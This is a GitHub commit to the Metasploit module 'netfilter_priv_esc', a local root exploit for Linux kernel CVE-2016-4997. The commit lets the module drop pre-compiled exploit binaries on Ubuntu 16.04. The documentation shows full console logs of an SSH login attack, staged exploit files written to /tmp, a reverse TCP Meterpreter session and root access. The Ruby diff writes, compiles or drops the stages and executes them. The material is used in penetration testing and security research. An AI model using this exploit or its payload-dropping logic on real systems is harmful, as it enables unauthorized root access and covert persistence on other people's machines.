Skip to content

Commit 23e5556

Browse files
committed
binary drops work!
1 parent 3dff41c commit 23e5556

File tree

4 files changed

+153
-59
lines changed

4 files changed

+153
-59
lines changed
7.64 KB
Binary file not shown.
8.26 KB
Binary file not shown.

documentation/modules/exploit/linux/local/netfilter_priv_esc.md

Lines changed: 123 additions & 41 deletions
Original file line numberDiff line numberDiff line change
@@ -9,15 +9,14 @@ This module (and the original exploit) are written in two parts: desc, and pwn.
99
There are a few requirements for this module to work (ubuntu):
1010

1111
1. ip_tables.ko has to be loaded (root running iptables -L will do such)
12-
2. libc6-dev-i386 needs to be installed to compile
13-
3. shem and sham can not be installed/running
12+
2. shem and sham can not be installed/running
1413

1514
This module has been tested against:
1615

1716
1. Ubuntu 16.04.1 (sudo apt-get install linux-image-4.4.0-21-generic)
1817
2. Ubuntu 16.04 (default kernel) linux-image-4.4.0-21-generic
1918

20-
This does not work against the following vulnerable systems. Additional work may be required.
19+
This does not work against the following vulnerable systems. Additional work may be required to the binary and C code to enable these targets.
2120

2221
1. Fedora 24 < [kernel-4.6.3-300](https://bugzilla.redhat.com/show_bug.cgi?id=1349722#c18)
2322
2. Fedora 22 < [kernel-4.4.14-200](https://bugzilla.redhat.com/show_bug.cgi?id=1349722#c19)
@@ -28,7 +27,7 @@ This does not work against the following vulnerable systems. Additional work ma
2827

2928
1. Start msfconsole
3029
2. Exploit a box via whatever method
31-
4. Do: `use exploit/linux/local/ubuntu_netfilter`
30+
4. Do: `use exploit/linux/local/netfilter_priv_esc`
3231
5. Do: `set session #`
3332
6. Do: `set verbose true`
3433
7. Do: `exploit`
@@ -51,7 +50,7 @@ This does not work against the following vulnerable systems. Additional work ma
5150

5251
### Ubuntu 16.04.1 (with linux-image-4.4.0-21-generic)
5352

54-
Initial Access
53+
#### Initial Access
5554

5655
msf > use auxiliary/scanner/ssh/ssh_login
5756
msf auxiliary(ssh_login) > set rhosts 127.0.0.1
@@ -69,68 +68,151 @@ Initial Access
6968
[*] Scanned 1 of 1 hosts (100% complete)
7069
[*] Auxiliary module execution completed
7170

72-
Escalate
71+
#### Escalate
7372

74-
msf auxiliary(ssh_login) > use exploit/linux/local/ubuntu_netfilter
75-
msf exploit(ubuntu_netfilter) > set session 1
76-
session => 1
77-
msf exploit(ubuntu_netfilter) > set verbose true
78-
verbose => true
79-
msf exploit(ubuntu_netfilter) > exploit
80-
81-
[*] Started reverse TCP handler on 172.20.14.188:4444
82-
[*] Checking if libc6-dev-i386 is installed
73+
[*] Started reverse TCP handler on 192.168.2.117:4444
74+
[*] Checking if 32bit C libraries, gcc-multilib, and gcc are installed
8375
[+] libc6-dev-i386 is installed
84-
[*] Checking if ip_tables.ko is loaded
76+
[+] gcc-multilib is installed
77+
[+] gcc is installed
78+
[*] Live compiling exploit on system
79+
[*] Checking if ip_tables is loaded in kernel
8580
[+] ip_tables.ko is loaded
8681
[*] Checking if shem or sham are installed
8782
[+] shem and sham not present.
88-
[*] Writing desc executable to /tmp/452xNomE.c
83+
[*] Writing desc executable to /tmp/fI1xW1Js.c
8984
[*] Max line length is 65537
90-
[*] Writing 3484 bytes in 1 chunks of 12068 bytes (octal-encoded), using printf
91-
[*] Executing /tmp/452xNomE, may take around 35s to finish. Watching for /tmp/rrOA1xsB to be created.
85+
[*] Writing 3291 bytes in 1 chunks of 11490 bytes (octal-encoded), using printf
86+
[*] Executing /tmp/fI1xW1Js, may take around 35s to finish. Watching for /tmp/GWqpwKnG to be created.
9287
[*] Waited 0s so far
9388
[*] Waited 10s so far
9489
[*] Waited 20s so far
9590
[*] Waited 30s so far
9691
[+] desc finished, env ready.
97-
[*] Writing payload to /tmp/HbFVMTZM
92+
[*] Writing payload to /tmp/Thzyfenv
9893
[*] Max line length is 65537
9994
[*] Writing 155 bytes in 1 chunks of 455 bytes (octal-encoded), using printf
100-
[*] Writing pwn executable to /tmp/eRFqvuyG.c
95+
[*] Writing pwn executable to /tmp/wmfFiQKu.c
10196
[*] Max line length is 65537
102-
[*] Writing 1418 bytes in 1 chunks of 4975 bytes (octal-encoded), using printf
97+
[*] Writing 1326 bytes in 1 chunks of 4699 bytes (octal-encoded), using printf
10398
[*] Transmitting intermediate stager for over-sized stage...(105 bytes)
104-
[*] Sending stage (1495599 bytes) to 172.20.14.188
105-
[*] Meterpreter session 2 opened (172.20.14.188:4444 -> 172.20.14.188:45114) at 2016-09-16 01:16:52 -0400
99+
[*] Sending stage (1495599 bytes) to 192.168.2.137
100+
[*] Meterpreter session 2 opened (192.168.2.117:4444 -> 192.168.2.137:60982) at 2016-09-24 17:22:47 -0400
101+
[+] Deleted /tmp/fI1xW1Js.c
102+
[+] Deleted /tmp/GWqpwKnG
103+
[+] Deleted /tmp/fI1xW1Js
104+
[+] Deleted /tmp/Thzyfenv
105+
[+] Deleted /tmp/wmfFiQKu.c
106+
[+] Deleted /tmp/wmfFiQKu
106107

108+
meterpreter > sysinfo
109+
Computer : ubuntu
110+
OS : Linux ubuntu 4.4.0-21-generic #37-Ubuntu SMP Mon Apr 18 18:33:37 UTC 2016 (x86_64)
111+
Architecture : x86_64
112+
Meterpreter : x86/linux
107113
meterpreter > getuid
108114
Server username: uid=0, gid=0, euid=0, egid=0, suid=0, sgid=0
109115

110-
### Re-exploit
116+
#### Escalate w/ pre-compiled binaries
117+
118+
msf exploit(netfilter_priv_esc) > exploit
119+
120+
[*] Started reverse TCP handler on 192.168.2.117:4444
121+
[*] Checking if 32bit C libraries, gcc-multilib, and gcc are installed
122+
[-] libc6-dev-i386 is not installed. Compiling will fail.
123+
[-] gcc-multilib is not installed. Compiling will fail.
124+
[-] gcc is not installed. Compiling will fail.
125+
[*] Dropping pre-compiled exploit on system
126+
[*] Checking if ip_tables is loaded in kernel
127+
[+] ip_tables.ko is loaded
128+
[*] Checking if shem or sham are installed
129+
[+] shem and sham not present.
130+
[*] Max line length is 65537
131+
[*] Writing 7820 bytes in 1 chunks of 21701 bytes (octal-encoded), using printf
132+
[*] Executing /tmp/8lQZGJdL, may take around 35s to finish. Watching for /tmp/okDjTFSS to be created.
133+
[*] Waited 0s so far
134+
[*] Waited 10s so far
135+
[*] Waited 20s so far
136+
[*] Waited 30s so far
137+
[+] desc finished, env ready.
138+
[*] Writing payload to /tmp/2016_4997_payload
139+
[*] Max line length is 65537
140+
[*] Writing 155 bytes in 1 chunks of 455 bytes (octal-encoded), using printf
141+
[*] Writing pwn executable to /tmp/nOO6sYqi
142+
[*] Max line length is 65537
143+
[*] Writing 8456 bytes in 1 chunks of 22023 bytes (octal-encoded), using printf
144+
[*] Transmitting intermediate stager for over-sized stage...(105 bytes)
145+
[*] Sending stage (1495599 bytes) to 192.168.2.137
146+
[*] Meterpreter session 2 opened (192.168.2.117:4444 -> 192.168.2.137:46778) at 2016-09-24 21:24:22 -0400
147+
[+] Deleted /tmp/okDjTFSS
148+
[+] Deleted /tmp/2016_4997_payload
149+
[+] Deleted /tmp/nOO6sYqi
150+
151+
meterpreter > sysinfo
152+
Computer : ubuntu
153+
OS : Linux ubuntu 4.4.0-21-generic #37-Ubuntu SMP Mon Apr 18 18:33:37 UTC 2016 (x86_64)
154+
Architecture : x86_64
155+
Meterpreter : x86/linux
156+
meterpreter > getuid
157+
Server username: uid=0, gid=0, euid=0, egid=0, suid=0, sgid=0
158+
159+
#### Re-exploit
111160

112161
In this scenario, we already exploit the box, for whatever reason our shell died. So now we want to re-exploit, but we dont need to run desc again.
113162

114-
msf exploit(ubuntu_netfilter) > set reexploit true
163+
msf exploit(netfilter_priv_esc) > set reexploit true
164+
reexploit => true
165+
msf exploit(netfilter_priv_esc) > exploit
166+
167+
[*] Started reverse TCP handler on 192.168.2.117:4444
168+
[*] Checking if 32bit C libraries, gcc-multilib, and gcc are installed
169+
[+] libc6-dev-i386 is installed
170+
[+] gcc-multilib is installed
171+
[+] gcc is installed
172+
[*] Live compiling exploit on system
173+
[*] Checking if ip_tables is loaded in kernel
174+
[+] ip_tables.ko is loaded
175+
[*] Checking if shem or sham are installed
176+
[+] shem and sham not present.
177+
[*] Writing payload to /tmp/egMfQrrI
178+
[*] Max line length is 65537
179+
[*] Writing 155 bytes in 1 chunks of 455 bytes (octal-encoded), using printf
180+
[*] Writing pwn executable to /tmp/Yf8CAdMu.c
181+
[*] Max line length is 65537
182+
[*] Writing 1326 bytes in 1 chunks of 4699 bytes (octal-encoded), using printf
183+
[*] Transmitting intermediate stager for over-sized stage...(105 bytes)
184+
[*] Sending stage (1495599 bytes) to 192.168.2.137
185+
[*] Meterpreter session 2 opened (192.168.2.117:4444 -> 192.168.2.137:60984) at 2016-09-24 17:29:06 -0400
186+
[+] Deleted /tmp/egMfQrrI
187+
[+] Deleted /tmp/Yf8CAdMu.c
188+
[+] Deleted /tmp/Yf8CAdMu
189+
190+
meterpreter >
191+
192+
#### Re-exploit w/ pre-compiled binaries
193+
194+
msf exploit(netfilter_priv_esc) > set reexploit true
115195
reexploit => true
116-
msf exploit(ubuntu_netfilter) > set session 2
117-
session => 2
118-
msf exploit(ubuntu_netfilter) > exploit
196+
msf exploit(netfilter_priv_esc) > exploit
119197

120-
[*] Started reverse TCP handler on 172.20.14.188:4445
121-
[*] Checking if libc6-dev-i386 is installed
198+
[*] Started reverse TCP handler on 192.168.2.117:4444
199+
[*] Checking if 32bit C libraries, gcc-multilib, and gcc are installed
122200
[+] libc6-dev-i386 is installed
123-
[*] Checking if ip_tables.ko is loaded
201+
[-] gcc-multilib is not installed. Compiling will fail.
202+
[-] gcc is not installed. Compiling will fail.
203+
[*] Dropping pre-compiled exploit on system
204+
[*] Checking if ip_tables is loaded in kernel
124205
[+] ip_tables.ko is loaded
125206
[*] Checking if shem or sham are installed
126207
[+] shem and sham not present.
127-
[*] Writing payload to /tmp/OblBUbtc
128-
[*] Writing pwn executable to /tmp/u4PnMEdw.c
208+
[*] Writing payload to /tmp/2016_4997_payload
209+
[*] Max line length is 65537
210+
[*] Writing 155 bytes in 1 chunks of 455 bytes (octal-encoded), using printf
211+
[*] Writing pwn executable to /tmp/SZrv2NOR
212+
[*] Max line length is 65537
213+
[*] Writing 8456 bytes in 1 chunks of 22023 bytes (octal-encoded), using printf
129214
[*] Transmitting intermediate stager for over-sized stage...(105 bytes)
130-
[*] Sending stage (1495599 bytes) to 172.20.14.188
131-
[*] Meterpreter session 3 opened (172.20.14.188:4445 -> 172.20.14.188:40370) at 2016-09-17 13:35:57 -0400
132-
[+] Deleted /tmp/OblBUbtc
133-
[+] Deleted /tmp/u4PnMEdw.c
134-
[+] Deleted /tmp/u4PnMEdw
135-
[-] Exploit failed: Rex::TimeoutError Operation timed out.
136-
[*] Exploit completed, but no session was created.
215+
[*] Sending stage (1495599 bytes) to 192.168.2.137
216+
[*] Meterpreter session 2 opened (192.168.2.117:4444 -> 192.168.2.137:60996) at 2016-09-24 20:47:03 -0400
217+
218+
meterpreter >

modules/exploits/linux/local/netfilter_priv_esc.rb

Lines changed: 30 additions & 18 deletions
Original file line numberDiff line numberDiff line change
@@ -344,51 +344,63 @@ def has_prereqs?()
344344
pwn.gsub!(/execl\("\/bin\/bash", "-sh", NULL\);/,
345345
"execl(\"#{payload_path}\", NULL);")
346346

347-
def pwn(payload_path, pwn_file, pwn)
347+
def pwn(payload_path, pwn_file, pwn, compile)
348348
# lets write our payload since everythings set for priv esc
349349
vprint_status("Writing payload to #{payload_path}")
350350
write_file(payload_path, generate_payload_exe)
351351
cmd_exec("chmod 555 #{payload_path}")
352352
register_file_for_cleanup(payload_path)
353353

354354
# now lets drop part 2, and finish up.
355-
print_status "Writing pwn executable to #{pwn_file}.c"
356355
rm_f pwn_file
357-
rm_f "#{pwn_file}.c"
358-
write_file("#{pwn_file}.c", pwn)
359-
cmd_exec("gcc #{pwn_file}.c -O2 -o #{pwn_file}")
360-
register_file_for_cleanup("#{pwn_file}.c")
356+
if compile
357+
print_status "Writing pwn executable to #{pwn_file}.c"
358+
rm_f "#{pwn_file}.c"
359+
write_file("#{pwn_file}.c", pwn)
360+
cmd_exec("gcc #{pwn_file}.c -O2 -o #{pwn_file}")
361+
register_file_for_cleanup("#{pwn_file}.c")
362+
else
363+
print_status "Writing pwn executable to #{pwn_file}"
364+
write_file(pwn_file, pwn)
365+
end
361366
register_file_for_cleanup(pwn_file)
362367
cmd_exec("chmod +x #{pwn_file}; #{pwn_file}")
363368
end
364369

365370
if not compile # we need to override with our pre-created binary
366371
# pwn file
367-
path = ::File.join( Msf::Config.data_directory, 'exploits', 'CVE-2016-4997', '2016-4997-2')
372+
path = ::File.join( Msf::Config.data_directory, 'exploits', 'CVE-2016-4997', '2016-4997-pwn.out')
368373
fd = ::File.open( path, "rb")
369374
pwn = fd.read(fd.stat.size)
370375
fd.close
371376
# desc file
372-
path = ::File.join( Msf::Config.data_directory, 'exploits', 'CVE-2016-4997', '2016-4997-1')
377+
path = ::File.join( Msf::Config.data_directory, 'exploits', 'CVE-2016-4997', '2016-4997-decr.out')
373378
fd = ::File.open( path, "rb")
374379
decr = fd.read(fd.stat.size)
375380
fd.close
381+
382+
# overwrite the hardcoded variable names in the compiled versions
383+
env_ready_file = '/tmp/okDjTFSS'
384+
payload_path = '/tmp/2016_4997_payload'
376385
end
377386

378387
# check for shortcut
379388
if datastore['REEXPLOIT']
380-
pwn(payload_path, pwn_file, pwn)
389+
pwn(payload_path, pwn_file, pwn, compile)
381390
else
382-
print_status "Writing desc executable to #{desc_file}.c"
383-
rm_f env_ready_file
384-
rm_f "#{desc_file}.c"
385391
rm_f desc_file
386-
write_file("#{desc_file}.c", decr)
387-
output = cmd_exec("gcc #{desc_file}.c -m32 -O2 -o #{desc_file}")
388-
392+
if compile
393+
print_status "Writing desc executable to #{desc_file}.c"
394+
rm_f "#{desc_file}.c"
395+
write_file("#{desc_file}.c", decr)
396+
register_file_for_cleanup("#{desc_file}.c")
397+
output = cmd_exec("gcc #{desc_file}.c -m32 -O2 -o #{desc_file}")
398+
else
399+
write_file(desc_file, decr)
400+
end
401+
rm_f env_ready_file
389402
register_file_for_cleanup(env_ready_file)
390-
register_file_for_cleanup("#{desc_file}.c")
391-
register_file_for_cleanup(desc_file)
403+
#register_file_for_cleanup(desc_file)
392404
if not file_exist?(desc_file)
393405
vprint_error("gcc failure output: #{output}")
394406
fail_with(Failure::Unknown, "#{desc_file}.c failed to compile")
@@ -409,7 +421,7 @@ def pwn(payload_path, pwn_file, pwn)
409421

410422
if file_exist?(env_ready_file)
411423
print_good("desc finished, env ready.")
412-
pwn(payload_path, pwn_file, pwn)
424+
pwn(payload_path, pwn_file, pwn, compile)
413425
return
414426
end
415427
sec_waited +=1

0 commit comments

Comments
 (0)